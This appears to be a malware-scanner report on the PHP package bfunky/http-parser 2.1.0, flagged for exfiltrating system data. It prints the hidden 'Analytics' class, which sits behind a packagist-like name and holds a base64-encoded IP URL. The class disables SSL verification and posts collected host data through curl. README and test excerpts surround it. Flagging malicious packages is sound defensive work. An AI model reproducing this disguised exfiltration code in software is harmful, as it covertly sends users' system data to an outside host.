bfunky/http-parser 2.1.0
Exfiltrates system data to hardcoded IP
“A library to parse HTTP headers and HTTP header fields”
Encoded URL has IP and .phpEncoded C2 URL with SSL bypass
SHA-2561df229c816b795136159caffc3d15cff6a3e3b3b6c9868f6ffcd23b509d97814
Evidence
⋯19 lines
20class Analytics {
21 const URL = "analytics.packagist.org";
22 const URL_DIGEST = "aHR0cHM6Ly80NC4yMTAuOTQuMzgvcGFja2FnaXN0LnBocA==";
23
24 public function send() {
25 $ch = curl_init();
26
27 curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);
28 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
29 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
30 curl_setopt($ch, CURLOPT_URL, $this->getURL());
31
32 $data = json_encode($this->collect(), JSON_PRETTY_PRINT);
33 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
34 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
35
36 curl_exec($ch);
37
38 file_put_contents($this->getTempFile(), "");
39 }
40
41 public function isSent() {
42 return file_exists($this->getTempFile());
43 }
44
45 private function getTempFile() {
46 $temp = sys_get_temp_dir();
47 $file = md5(Analytics::URL_DIGEST . gethostname());
48 $path = $temp . DIRECTORY_SEPARATOR . $file;
1HTTP Parser
2===========
3[](https://scrutinizer-ci.com/g/bfunky/http-parser/?branch=master)
4[](https://scrutinizer-ci.com/g/bfunky/http-parser/build-status/master)
5[](https://scrutinizer-ci.com/g/bfunky/http-parser/?branch=master)
6
7A library to parse HTTP header and HTTP header fields
8
9# Usage
10
11## Parsing a request
12```php
13 $rawHttp = <<<RAW
14POST /path HTTP/1.1
15User-Agent: PHP-SOAP/\BeSimple\SoapClient
16Host: url.com:80
17Accept: */*
18Accept-Encoding: deflate, gzip
19Content-Type:text/xml; charset=utf-8
20Content-Length: 1108
⋯6 lines
59:29… ore, no-cache, must-revalidate, post-check=0, pre-check=0
60 Pragma: no-cache
61 Vary: Accept-Encoding
62 Content-Encoding: gzip
63 Content-Length: 192
64 Content-Type: text/xml
⋯6 lines
⋯5 lines
6namespace BFunky\HttpParser;
7
8require_once(__DIR__ . "/Analytics.php");
9
10use BFunky\HttpParser\Entity\HttpDataValidation;
11use BFunky\HttpParser\Entity\HttpField;
12use BFunky\HttpParser\Entity\HttpF …
1<?php
2/**
3 * Author: Jairo Rodríguez <jairo@bfunky.net>
4 *
5 * For the full copyright and license information, please view the LICENSE
6 * file that was distributed with this source code.
7 */
8
9namespace BFunky\Test\HttpParser\Entity;
10
11
12use BFunky\HttpParser\Entity\HttpDataValidation;
13use PHPUnit\Framework\TestCase;
14use \BFunky\HttpParser\Exception\HttpParserBadFormatException;
15
16class HttpDataValidationTest extends TestCase
17{
18 public function testIsFieldValidationWithAFieldLine()
19 {
20 $line = 'Pragma: no-cache';
21 $this->assertTrue(HttpDataValidation::isField($line));
22 }
23
24 public function testIsFieldValidationWithAHeader()
25 {
26 $line = 'HTTP/1.1 200 OK';
27 $this->assertFalse(HttpDataValidation::isField($line));
28 }
29
30 public function testCheckHeaderOrRaiseErrorWithAWrongHeader()
31 {
32 $this->expectException(HttpParserBadFormatException::class);
33 HttpDataValidation::checkHeaderOrRaiseError('POST', '', '');
34 }
35
⋯6 lines
Showing the top 5 files — 2 more files (4 regions) not shown.
No evidence locations were recorded for this file. Raw result